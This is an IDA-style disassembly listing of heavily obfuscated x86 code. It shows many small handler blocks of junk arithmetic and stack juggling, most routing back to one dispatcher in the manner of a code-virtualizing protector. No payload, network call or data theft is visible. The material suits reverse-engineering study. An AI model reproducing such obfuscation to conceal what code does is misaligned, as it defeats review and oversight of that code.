loc_5761C8:				; CODE XREF: ud2_____:0057DABEj
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], edx
		mov	edx, 39492B7Fh
		xor	edx, 0CC77368h
		jmp	loc_573CFA
; ---------------------------------------------------------------------------


loc_5761DF:				; CODE XREF: ud2_____:00577D05j
		mov	ebp, 471542AAh
		shl	ebp, 2
		jmp	loc_57A941
; ---------------------------------------------------------------------------


loc_5761EC:				; CODE XREF: ud2_____:00573D71j
		mov	[esp], ecx
		push	esp
		jmp	loc_571D06
; ---------------------------------------------------------------------------


loc_5761F5:				; CODE XREF: ud2_____:00571CD5j
		pop	ebp
		dec	eax
		push	25C7h
		jmp	loc_57CB62
; ---------------------------------------------------------------------------


loc_576201:				; CODE XREF: ud2_____:005797BAj
		pop	ebx
		mov	ebx, esi
		pop	esi
		xor	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		xor	ebx, eax
		push	ecx
		mov	ecx, 2Ch
		jmp	loc_57391A
; ---------------------------------------------------------------------------


loc_57621A:				; CODE XREF: ud2_____:0057735Bj
		pop	edx
		push	ebp
		mov	ebp, 2
		jmp	loc_575D44
; ---------------------------------------------------------------------------


loc_576226:				; CODE XREF: ud2_____:0057DAD8j
		push	ebp
		jmp	loc_574CB8
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	3300h
		jmp	loc_576B4C
; ---------------------------------------------------------------------------


loc_57623A:				; CODE XREF: ud2_____:00577D18j
		pop	eax
		add	edx, edi
		mov	edi, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 1BC04D8h
		xor	ecx, 1BC04DCh
		add	edx, ecx
		pop	ecx
		push	edx
		push	dword ptr [esp+4]
		jmp	loc_576FC4
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_57858D
; ---------------------------------------------------------------------------


loc_57626C:				; CODE XREF: ud2_____:00575538j
		xor	eax, edx
		pop	edx
		jmp	loc_57C5E2
; ---------------------------------------------------------------------------


loc_576274:				; CODE XREF: ud2_____:0057560Fj
		mov	ebp, edi
		pop	edi
		sub	ebp, 10195750h
		add	ecx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xchg	ecx, [esp]
		mov	esp, [esp]
		jmp	loc_57B6B0
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		sub	esp, 4
		jmp	loc_5799DF
; ---------------------------------------------------------------------------


loc_5762A0:				; CODE XREF: ud2_____:005728C0j
		pop	ebx
		jmp	loc_57466D
; ---------------------------------------------------------------------------


loc_5762A6:				; CODE XREF: ud2_____:00573EA8j
		sub	ecx, edx
		add	ecx, 2ACC2D57h
		pop	edx
		xor	ecx, 0A7ECEC2Ch
		push	edx
		mov	edx, 53B61504h
		or	edx, 6D654E56h
		sub	edx, 1
		not	edx
		push	ebp
		jmp	loc_57CBBD
; ---------------------------------------------------------------------------
		push	1452h
		mov	[esp], edx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5762D9:				; CODE XREF: ud2_____:005752E4j
		pop	ecx
		jmp	loc_5748D1
; ---------------------------------------------------------------------------


loc_5762DF:				; CODE XREF: ud2_____:0057305Bj
		mov	eax, 5D27104Ch
		sub	dword ptr [esp+8], 3A0B38A2h
		sub	[esp+8], eax
		add	dword ptr [esp+8], 3A0B38A2h
		pop	eax
		pop	ebx
		jmp	loc_57C04B
; ---------------------------------------------------------------------------
		db 89h
; ---------------------------------------------------------------------------
		and	al, 24h
		add	dword ptr [esp], 4
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_5769C2
; ---------------------------------------------------------------------------


loc_576315:				; CODE XREF: ud2_____:0057D1AAj
		sub	dh, bl
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		push	eax
		mov	al, 8Ah
		add	dh, 0D1h
		jmp	loc_57B42A
; ---------------------------------------------------------------------------


loc_57632C:				; CODE XREF: ud2_____:00572205j
		add	[esp+4], ebp
		sub	dword ptr [esp+4], 12F44230h
		jmp	loc_57B072
; ---------------------------------------------------------------------------


loc_57633D:				; CODE XREF: ud2_____:005787F6j
		xor	ecx, 19BD32BEh
		pop	ebx
		add	ecx, 1
		push	edx
		mov	edx, 0E5A2D996h
		jmp	loc_574B52
; ---------------------------------------------------------------------------


loc_576352:				; CODE XREF: ud2_____:0057247Cj
		push	edi
		mov	edi, 40301893h
		push	edi
		not	dword ptr [esp]
		jmp	loc_57A689
; ---------------------------------------------------------------------------


loc_576361:				; CODE XREF: ud2_____:00573F7Cj
		add	al, 0A9h
		sub	al, dl
		jmp	loc_572098
; ---------------------------------------------------------------------------


loc_57636A:				; CODE XREF: ud2_____:00575173j
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_572932
; ---------------------------------------------------------------------------


loc_576384:				; CODE XREF: ud2_____:00576B47j
		pop	eax
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		xchg	esi, edi
		not	esi
		sub	esp, 4
		jmp	loc_574E74
; ---------------------------------------------------------------------------


loc_5763A2:				; CODE XREF: ud2_____:005794B6j
		xor	edi, ebp
		pop	ebp
		add	edx, 0B1FD7h
		jmp	loc_57C542
; ---------------------------------------------------------------------------


loc_5763B0:				; CODE XREF: ud2_____:00573915j
		mov	ebp, 6EB07E46h
		mov	ecx, ebp
		jmp	loc_573AC1
; ---------------------------------------------------------------------------


loc_5763BC:				; CODE XREF: ud2_____:0057846Aj
		mov	bl, 4Ch
		xor	bl, cl
		jmp	loc_579451
; ---------------------------------------------------------------------------


loc_5763C5:				; CODE XREF: ud2_____:0057CE66j
		push	eax
		mov	eax, esp
		jmp	loc_57D2D3
; ---------------------------------------------------------------------------


loc_5763CD:				; CODE XREF: ud2_____:00574F6Dj
		push	3370h
		mov	[esp], eax
		mov	eax, 468F2830h
		not	eax
		xor	eax, 0B970D7CDh
		add	edi, 47233A07h
		add	edi, eax
		push	2D65h
		jmp	loc_575FE2
; ---------------------------------------------------------------------------


loc_5763F3:				; CODE XREF: ud2_____:00578E9Bj
		mov	[esp], ebx
		push	ecx
		mov	ch, 68h
		jmp	loc_578D97
; ---------------------------------------------------------------------------


loc_5763FE:				; CODE XREF: ud2_____:00574B83j
		add	edx, edi
		sub	edx, 1AD005AAh
		push	dword ptr [edx]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		push	dword ptr [esp]
		pop	edx
		push	ecx
		mov	ecx, esp
		push	95Fh
		jmp	loc_572C13
; ---------------------------------------------------------------------------


loc_576423:				; CODE XREF: ud2_____:00576DEDj
		neg	edi
		jmp	loc_576A3F
; ---------------------------------------------------------------------------


loc_57642A:				; CODE XREF: ud2_____:00574A53j
		sub	esp, 4
		mov	[esp], eax
		mov	ah, dl
		push	2D87h
		mov	[esp], ebx
		push	ecx
		mov	cl, ah
		mov	bl, cl
		pop	ecx
		jmp	loc_5766CE
; ---------------------------------------------------------------------------


loc_576445:				; CODE XREF: ud2_____:00578A87j
		xor	ebx, 9C841E9h
		xor	ebx, 0D433A319h
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		add	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		jmp	loc_5766ED
; ---------------------------------------------------------------------------


loc_576467:				; CODE XREF: ud2_____:00575F5Bj
		pop	ebp
		sub	ebp, 7395068Bh
		add	ebp, edi
		add	ebp, 7395068Bh
		jmp	loc_57CE86
; ---------------------------------------------------------------------------


loc_57647B:				; CODE XREF: ud2_____:005747E6j
		pop	ebp
		add	esp, 4
		push	ebp
		jmp	loc_576944
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		jmp	loc_57AD43
; ---------------------------------------------------------------------------


loc_57648E:				; CODE XREF: ud2_____:0057A8EEj
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576493:				; CODE XREF: ud2_____:005733C5j
		sub	ebx, 752703A0h
		add	ebx, eax
		add	ebx, 752703A0h
		pop	eax
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sub	[esp], eax
		pushf
		jmp	loc_573A5A
; ---------------------------------------------------------------------------


loc_5764B5:				; CODE XREF: ud2_____:0057A6B4j
		push	eax
		jmp	loc_57B836
; ---------------------------------------------------------------------------


loc_5764BB:				; CODE XREF: ud2_____:0057C6EEj
		xor	dx, ax
		xchg	ax, dx
		xchg	ax, dx
		push	ax
		not	word ptr [esp]
		pop	ax
		xor	dx, ax
		xor	ax, dx
		xor	dx, ax
		push	ax
		push	ecx
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 2
		xchg	ecx, [esp]
		pop	esp
		mov	[esp], dx
		pop	ax
		pop	dx
		xchg	ax, dx
		xchg	dx, bx
		xchg	bx, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5764FE:				; CODE XREF: ud2_____:0057253Aj
		push	7BFC7156h
		jmp	loc_57448F
; ---------------------------------------------------------------------------


loc_576508:				; CODE XREF: ud2_____:005729D6j
		pop	esp
		add	ebx, edi
		jmp	loc_5753C8
; ---------------------------------------------------------------------------


loc_576510:				; CODE XREF: ud2_____:0057B139j
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57B513
; ---------------------------------------------------------------------------


loc_57651B:				; CODE XREF: ud2_____:00574D12j
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		shr	ecx, 7
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_5768F6
; ---------------------------------------------------------------------------


loc_57653E:				; CODE XREF: ud2_____:005768CAj
		not	ecx
		xor	ecx, 0F987AEA8h
		sub	esi, ecx
		pop	ecx
		add	esi, 0C7BCF154h
		add	edx, esi
		pop	esi
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576561:				; CODE XREF: ud2_____:00574180j
		xor	dx, ax
		jmp	loc_57C6EB
; ---------------------------------------------------------------------------


loc_576569:				; CODE XREF: ud2_____:0057295Fj
		add	edi, 4
		xchg	edi, [esp]
		jmp	loc_573985
; ---------------------------------------------------------------------------


loc_576574:				; CODE XREF: ud2_____:005736D4j
		mov	dh, 6Ch
		jmp	loc_578A08
; ---------------------------------------------------------------------------


loc_57657B:				; CODE XREF: ud2_____:0057DC2Fj
		pop	bx
		jmp	loc_5773F8
; ---------------------------------------------------------------------------


loc_576582:				; CODE XREF: ud2_____:0057BDBEj
		pop	dword ptr [esp]
		pop	esp
		and	eax, esi
		jmp	loc_576F30
; ---------------------------------------------------------------------------


loc_57658D:				; CODE XREF: ud2_____:0057987Ej
		sub	esp, 4
		mov	[esp], edi
		sub	dword ptr [esp], 72803310h
		pop	eax
		add	eax, 72803310h
		pop	edi
		jmp	loc_57C2B2
; ---------------------------------------------------------------------------


loc_5765A9:				; CODE XREF: ud2_____:00572EE6j
		add	eax, 16E33958h
		mov	ebp, eax
		mov	eax, [esp]
		jmp	loc_577141
; ---------------------------------------------------------------------------


loc_5765B8:				; CODE XREF: ud2_____:0057DC95j
		xor	ebp, 33FE2A34h
		jmp	loc_57B649
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	edi
		push	6504h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	edi, [esp]
		push	7C37h
		jmp	loc_574FE9
; ---------------------------------------------------------------------------


loc_5765E4:				; CODE XREF: ud2_____:0057543Bj
		add	edx, eax
		sub	edx, 2240791Fh
		jmp	loc_572CF7
; ---------------------------------------------------------------------------
		push	ebx
		sub	esp, 4
		mov	[esp], edi
		push	edx
		mov	edx, 3A590C2Ch
		jmp	loc_57CDED
; ---------------------------------------------------------------------------


loc_576606:				; CODE XREF: ud2_____:0057B746j
		or	ecx, 72B05C62h
		and	ecx, 242960C4h
		neg	ecx
		xor	ecx, 17B514F0h
		sub	ecx, 6EEF348Bh
		add	ebx, ecx
		pop	ecx
		push	161Ah
		mov	[esp], edi
		mov	edi, 17933A92h
		add	ebx, 3B1A4048h
		add	ebx, edi
		jmp	loc_57895E
; ---------------------------------------------------------------------------


loc_57663D:				; CODE XREF: ud2_____:0057BE57j
		push	eax
		jmp	loc_57BE73
; ---------------------------------------------------------------------------


loc_576643:				; CODE XREF: ud2_____:005790B2j
		xor	ebx, 0DC369254h
		add	edi, ebx
		pop	ebx
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_57808F
; ---------------------------------------------------------------------------


loc_576657:				; CODE XREF: ud2_____:0057B9B1j
		mov	ecx, [esp]
		add	esp, 4
		add	esp, 4
		mov	eax, [esp]
		add	esp, 4
		add	eax, 2C247012h
		push	433Ah
		mov	[esp], edi
		mov	edi, 0FFFFh
		jmp	loc_574AE0
; ---------------------------------------------------------------------------


loc_576680:				; CODE XREF: ud2_____:00575768j
		and	ebp, eax
		pop	eax
		xor	ebp, 7953776h
		add	ebp, 0D86AC8E0h
		sub	edi, 57BD245Ch
		add	edi, ebp
		add	edi, 57BD245Ch
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_575F87
; ---------------------------------------------------------------------------


loc_5766A8:				; CODE XREF: ud2_____:00579FA9j
		add	al, bl
		push	dx
		jmp	loc_57A58F
; ---------------------------------------------------------------------------


loc_5766B1:				; CODE XREF: ud2_____:00574F2Cj
		add	edi, ecx
		pop	ecx
		jmp	loc_57AB3C
; ---------------------------------------------------------------------------


loc_5766B9:				; CODE XREF: ud2_____:005754E2j
		pop	edx
		sub	eax, esi
		jmp	loc_57562B
; ---------------------------------------------------------------------------


loc_5766C1:				; CODE XREF: ud2_____:005773B8j
		sub	ah, 74h
		add	bl, 0C1h
		sub	bl, ah
		jmp	loc_57CCE0
; ---------------------------------------------------------------------------


loc_5766CE:				; CODE XREF: ud2_____:00576440j
		push	edx
		mov	dh, bl
		mov	ch, dh
		pop	edx
		jmp	loc_574012
; ---------------------------------------------------------------------------


loc_5766D9:				; CODE XREF: ud2_____:00574C32j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2
		jmp	loc_57607C
; ---------------------------------------------------------------------------


loc_5766ED:				; CODE XREF: ud2_____:00576462j
		add	esp, 4
		push	19E3h
		mov	[esp], ebx
		jmp	loc_57C332
; ---------------------------------------------------------------------------


loc_5766FD:				; CODE XREF: ud2_____:0057CC3Cj
		add	esp, 4
		shr	dword ptr [edx+38h], 6
		sub	dword ptr [edx+38h], offset loc_41682A


loc_57670E:				; CODE XREF: ud2_____:loc_5759D1j
		push	esi
		push	31265131h
		mov	esi, [esp]
		push	eax
		jmp	loc_576836
; ---------------------------------------------------------------------------


loc_57671D:				; CODE XREF: ud2_____:00573946j
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 4
		add	ebx, edx
		pop	edx
		add	ebx, 2
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ebx
		jmp	loc_57C2F7
; ---------------------------------------------------------------------------


loc_576740:				; CODE XREF: ud2_____:00577ED0j
		pop	esp
		mov	[esp], eax
		jmp	loc_575178
; ---------------------------------------------------------------------------


loc_576749:				; CODE XREF: ud2_____:005795E8j
		push	446h
		mov	[esp], edx
		mov	edx, 5F0B0848h
		sub	eax, edx
		pop	edx
		push	ebx
		push	3D1A6B50h
		pop	ebx
		push	ebx
		mov	ebx, 5A8B157Dh
		and	ebx, 529E3222h
		dec	ebx
		or	ebx, 5E2333B7h
		jmp	loc_57D1AF
; ---------------------------------------------------------------------------


loc_576778:				; CODE XREF: ud2_____:00575745j
		mov	eax, [esp]
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_57DB67
; ---------------------------------------------------------------------------


loc_576786:				; CODE XREF: ud2_____:00571C3Cj
		push	eax
		mov	eax, 75960291h
		push	ebp
		jmp	loc_57B490
; ---------------------------------------------------------------------------


loc_576792:				; CODE XREF: ud2_____:0057A738j
		pop	eax
		xor	bh, 6Bh
		jmp	loc_5746C8
; ---------------------------------------------------------------------------


loc_57679B:				; CODE XREF: ud2_____:0057A4F1j
		mov	[esp], esi
		jmp	loc_574722
; ---------------------------------------------------------------------------


loc_5767A3:				; CODE XREF: ud2_____:0057937Bj
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5767E4:				; CODE XREF: ud2_____:005795B3j
		and	edx, 778F5DEAh
		jmp	loc_57592B
; ---------------------------------------------------------------------------


loc_5767EF:				; CODE XREF: ud2_____:00579F87j
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		push	edx
		push	dword ptr [esp+4]
		pop	edx
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ecx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_57680A:				; CODE XREF: ud2_____:00572997j
		mov	[esp], ebx
		mov	bl, 39h
		jmp	loc_57A005
; ---------------------------------------------------------------------------


loc_576814:				; CODE XREF: ud2_____:005785C6j
		pop	esi
		xor	ebx, [esp]
		xor	[esp], ebx
		jmp	loc_573DEF
; ---------------------------------------------------------------------------


loc_576820:				; CODE XREF: ud2_____:00579A8Fj
		add	dh, ah
		mov	eax, [esp]
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		jmp	loc_577461
; ---------------------------------------------------------------------------


loc_576836:				; CODE XREF: ud2_____:00576718j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_578438
; ---------------------------------------------------------------------------


loc_57684A:				; CODE XREF: ud2_____:00575EC9j
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		jmp	loc_57219D
; ---------------------------------------------------------------------------


loc_57685C:				; CODE XREF: ud2_____:0057A94Bj
		mov	ecx, 51CC0040h
		jmp	loc_57574A
; ---------------------------------------------------------------------------


loc_576866:				; CODE XREF: ud2_____:00575F0Bj
		add	edi, 0D4000004h
		jmp	loc_572148
; ---------------------------------------------------------------------------


loc_576871:				; CODE XREF: ud2_____:00573B7Bj
		pop	ebp
		add	ebx, 7DCA4DDAh
		xor	ebx, 10544A4Eh
		and	ebx, 6C8E3F08h
		inc	ebx
		sub	ebx, 717666E6h
		sub	ebx, 0DA89B417h
		add	ebp, ebx
		pop	ebx
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_578AC7
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		sub	esp, 4
		mov	[esp], edx
		sub	esp, 4
		jmp	loc_577A3B
; ---------------------------------------------------------------------------


loc_5768B9:				; CODE XREF: ud2_____:0057B97Fj
		push	edi
		mov	edi, 430B2797h
		mov	ecx, 52459474h
		sub	ecx, edi
		pop	edi
		shr	ecx, 7
		jmp	loc_57653E
; ---------------------------------------------------------------------------


loc_5768CF:				; CODE XREF: ud2_____:00578311j
		push	edx
		push	esp
		pop	edx
		add	edx, 4
		push	edi
		push	ebx
		mov	ebx, 4E9E6EEEh
		push	ebx
		inc	dword ptr [esp]
		pop	ebx
		xchg	edx, ebx
		not	edx
		xchg	edx, ebx
		inc	ebx
		sub	ebx, 3E6A0F39h
		jmp	loc_578853
; ---------------------------------------------------------------------------


loc_5768F6:				; CODE XREF: ud2_____:00576539j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_57B025
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C59F


loc_576901:				; CODE XREF: sub_59C59F-266E7j
		sub	al, 0DFh
		add	al, 0Ch
		push	[esp+24h+var_24]
		mov	ecx, [esp+28h+var_28]
		add	esp, 4
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5746D6
; END OF FUNCTION CHUNK	FOR sub_59C59F
; ---------------------------------------------------------------------------


loc_57691C:				; CODE XREF: ud2_____:00575E07j
		push	ebp
		push	70E44470h
		pop	ebp
		xor	ebp, 10D6BB6h
		mov	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	edi, 71E92FC2h
		sub	ebx, 31DA7085h
		add	ebx, edi
		jmp	loc_57A8F3
; ---------------------------------------------------------------------------


loc_576944:				; CODE XREF: ud2_____:00576480j
		mov	ebp, 2
		add	ecx, ebp
		jmp	loc_572B60
; ---------------------------------------------------------------------------


loc_576950:				; CODE XREF: ud2_____:0057B723j
		sub	edx, 4
		xchg	edx, [esp]
		jmp	loc_57D4B3
; ---------------------------------------------------------------------------


loc_57695E:				; CODE XREF: ud2_____:00576154j
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		xor	al, 0E5h
		xor	cl, al
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_5721CE
; ---------------------------------------------------------------------------


loc_576974:				; CODE XREF: ud2_____:005758E2j
		push	ecx
		jmp	loc_577ED5
; ---------------------------------------------------------------------------


loc_57697A:				; CODE XREF: ud2_____:0057A3A4j
		mov	eax, [esp]
		jmp	loc_57293A
; ---------------------------------------------------------------------------


loc_576982:				; CODE XREF: ud2_____:00577CF6j
		push	edx
		mov	edx, 1111635Bh
		jmp	loc_577CA3
; ---------------------------------------------------------------------------


loc_57698D:				; CODE XREF: ud2_____:00578C85j
		mov	ebx, 52635298h
		push	ecx
		mov	ecx, ebx
		mov	edi, ecx
		jmp	loc_5723ED
; ---------------------------------------------------------------------------


loc_57699C:				; CODE XREF: ud2_____:0057B08Bj
		pop	edx
		sub	[esp+4], eax
		sub	dword ptr [esp+4], 63E33797h
		pop	eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5769AF:				; CODE XREF: ud2_____:00577262j
		push	dword ptr [esp]
		jmp	loc_57A0DD
; ---------------------------------------------------------------------------


loc_5769B7:				; CODE XREF: ud2_____:00578598j
		add	esp, 4
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_5769C2:				; CODE XREF: ud2_____:00576310j
		mov	ecx, 2D5A0A40h
		shr	ecx, 3
		shl	ecx, 2
		or	ecx, 104B3A8Ch
		or	ecx, 7AD4139Ah
		jmp	loc_576D7E
; ---------------------------------------------------------------------------


loc_5769DE:				; CODE XREF: ud2_____:0057DB62j
		pop	edi
		add	ecx, edi
		jmp	loc_5789BA
; ---------------------------------------------------------------------------


loc_5769E6:				; CODE XREF: ud2_____:0057AEDDj
		and	esi, 6D534EF2h
		jmp	loc_57C38C
; ---------------------------------------------------------------------------


loc_5769F1:				; CODE XREF: ud2_____:00577CD3j
		mov	al, 1Ah
		push	ebx
		mov	bh, 6Ah
		dec	bh
		dec	bh
		push	edx
		mov	dh, 4Fh
		jmp	loc_57D182
; ---------------------------------------------------------------------------


loc_576A02:				; CODE XREF: ud2_____:0057DC3Dj
		push	eax
		mov	eax, 7EB43F22h
		xor	ebx, eax
		pop	eax
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576A10:				; CODE XREF: ud2_____:00571C50j
		add	eax, 6FB2175Dh
		add	eax, 70E074A3h
		jmp	loc_57C561
; ---------------------------------------------------------------------------


loc_576A1F:				; CODE XREF: ud2_____:0057615Fj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		sub	bl, dl
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	al, bl
		jmp	loc_577F3C
; ---------------------------------------------------------------------------


loc_576A3F:				; CODE XREF: ud2_____:00576425j
		add	edi, 88395697h
		mov	edx, edi
		pop	edi
		add	edx, 365F064Bh
		jmp	loc_57D9B9
; ---------------------------------------------------------------------------


loc_576A53:				; CODE XREF: ud2_____:0057D0B4j
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 2
		xchg	ebx, [esp]
		pop	esp
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576A6B:				; CODE XREF: ud2_____:00579A0Ej
		add	esp, 4
		or	ecx, 64986857h
		jmp	loc_576D0C
; ---------------------------------------------------------------------------


loc_576A79:				; CODE XREF: ud2_____:0057258Fj
		xchg	ebp, [esp]
		pop	esp
		and	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		or	edx, eax
		shl	edx, 1
		xor	[edi+24h], ebp
		push	4CF0h
		mov	[esp], ebx
		push	ecx
		mov	ecx, 78C3391Dh
		jmp	loc_57D6F4
; ---------------------------------------------------------------------------


loc_576AA2:				; CODE XREF: ud2_____:0057DBD5j
		pop	esi
		xchg	esi, edx
		jmp	loc_577FEB
; ---------------------------------------------------------------------------


loc_576AAA:				; CODE XREF: ud2_____:00572093j
		pop	edx
		jmp	loc_574CED
; ---------------------------------------------------------------------------


loc_576AB0:				; CODE XREF: ud2_____:00579C14j
		add	edx, 19E543C9h
		add	edx, ebp
		jmp	loc_574205
; ---------------------------------------------------------------------------


loc_576ABD:				; CODE XREF: ud2_____:0057B352j
		push	esi
		mov	esi, 2B053547h
		sub	esi, 0AFF20B28h
		xor	ebx, esi
		jmp	loc_576FA0
; ---------------------------------------------------------------------------


loc_576AD0:				; CODE XREF: ud2_____:0057BA5Cj
		push	edi
		push	esp
		pop	edi
		sub	esp, 4
		mov	[esp], eax
		mov	eax, 4
		jmp	loc_575A66
; ---------------------------------------------------------------------------


loc_576AE3:				; CODE XREF: ud2_____:0057DB1Aj
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	7292h
		mov	[esp], ecx
		jmp	loc_57394B
; ---------------------------------------------------------------------------


loc_576AFB:				; CODE XREF: ud2_____:0057A563j
		mov	bl, 9Eh
		add	al, bl
		pop	ebx
		add	al, bh
		jmp	loc_5795B8
; ---------------------------------------------------------------------------


loc_576B07:				; CODE XREF: ud2_____:005732C8j
		mov	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 0C6527ADh
		sub	eax, edi
		pop	edi
		add	eax, ecx
		add	eax, 0C6527ADh
		pop	ecx
		add	eax, 2
		xor	eax, [esp]
		jmp	loc_57C293
; ---------------------------------------------------------------------------


loc_576B26:				; CODE XREF: ud2_____:00575D7Bj
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_579763
; ---------------------------------------------------------------------------


loc_576B35:				; CODE XREF: ud2_____:0057A90Cj
		pop	ebx
		add	ebx, ecx
		pop	ecx
		and	ecx, ebx
		jmp	loc_57A115
; ---------------------------------------------------------------------------


loc_576B40:				; CODE XREF: ud2_____:0057BB0Aj
		or	edi, ebp
		mov	ebp, [esp]
		push	eax
		push	esp
		jmp	loc_576384
; ---------------------------------------------------------------------------


loc_576B4C:				; CODE XREF: ud2_____:00576235j
		mov	[esp], esi
		jmp	loc_57546C
; ---------------------------------------------------------------------------


loc_576B54:				; CODE XREF: ud2_____:00576F3Aj
		add	al, 63h
		sub	al, cl
		sub	al, 63h
		push	ebx
		mov	bl, 0DDh
		jmp	loc_57B534
; ---------------------------------------------------------------------------


loc_576B62:				; CODE XREF: ud2_____:0057618Fj
		add	eax, 113C0ED5h
		add	ebx, eax
		pop	eax
		push	eax
		mov	eax, 368B6A26h
		dec	eax
		shr	eax, 3
		xor	eax, 61E67071h
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, eax
		jmp	loc_57D398
; ---------------------------------------------------------------------------


loc_576B8B:				; CODE XREF: ud2_____:00576DCBj
		xor	ebp, edx
		pop	edx
		add	ebx, ebp
		pop	ebp
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		mov	esp, [esp]
		rol	word ptr [esp],	cl
		pushf
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576BA7:				; CODE XREF: ud2_____:00575F82j
		mov	[esp], ebx
		mov	ebx, 74554AB2h
		shr	ebx, 7
		add	ebx, 65ADD2C6h
		sub	edx, ebx
		pop	ebx
		jmp	loc_57A66C
; ---------------------------------------------------------------------------
		mov	esp, [esp]
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576BC8:				; CODE XREF: ud2_____:0057B6F7j
		add	bl, dh
		jmp	loc_57D1A9
; ---------------------------------------------------------------------------


loc_576BCF:				; CODE XREF: ud2_____:005725AEj
		add	esp, 4
		push	eax
		mov	eax, esp
		add	eax, 4
		push	edx
		jmp	loc_57D20E
; ---------------------------------------------------------------------------


loc_576BE0:				; CODE XREF: ud2_____:0057BC4Dj
		add	bl, 0DEh
		mov	al, bl
		pop	ebx
		sub	al, 79h
		push	0
		jmp	loc_577423
; ---------------------------------------------------------------------------


loc_576BF2:				; CODE XREF: ud2_____:00579B86j
		and	ecx, 7A4916CEh
		neg	ecx
		shr	ecx, 1
		xor	ecx, 3671E8Bh
		sub	eax, ecx
		pop	ecx
		jmp	loc_577519
; ---------------------------------------------------------------------------


loc_576C0A:				; CODE XREF: ud2_____:0057C782j
		sub	ah, 80h
		not	ah
		add	ah, 0E1h
		add	ah, 0FEh
		jmp	loc_57D00C
; ---------------------------------------------------------------------------


loc_576C1A:				; CODE XREF: ud2_____:0057903Dj
		not	ebx
		jmp	loc_57D06F
; ---------------------------------------------------------------------------


loc_576C21:				; CODE XREF: ud2_____:005798FCj
		xor	dl, 63h
		jmp	loc_5735B2
; ---------------------------------------------------------------------------


loc_576C29:				; CODE XREF: ud2_____:00577C7Ej
		pop	esp
		movsx	ecx, ax
		push	35E8h
		mov	[esp], ecx
		jmp	loc_571AAA
; ---------------------------------------------------------------------------


loc_576C3A:				; CODE XREF: ud2_____:0057D735j
		add	esp, 4
		jmp	loc_57C271
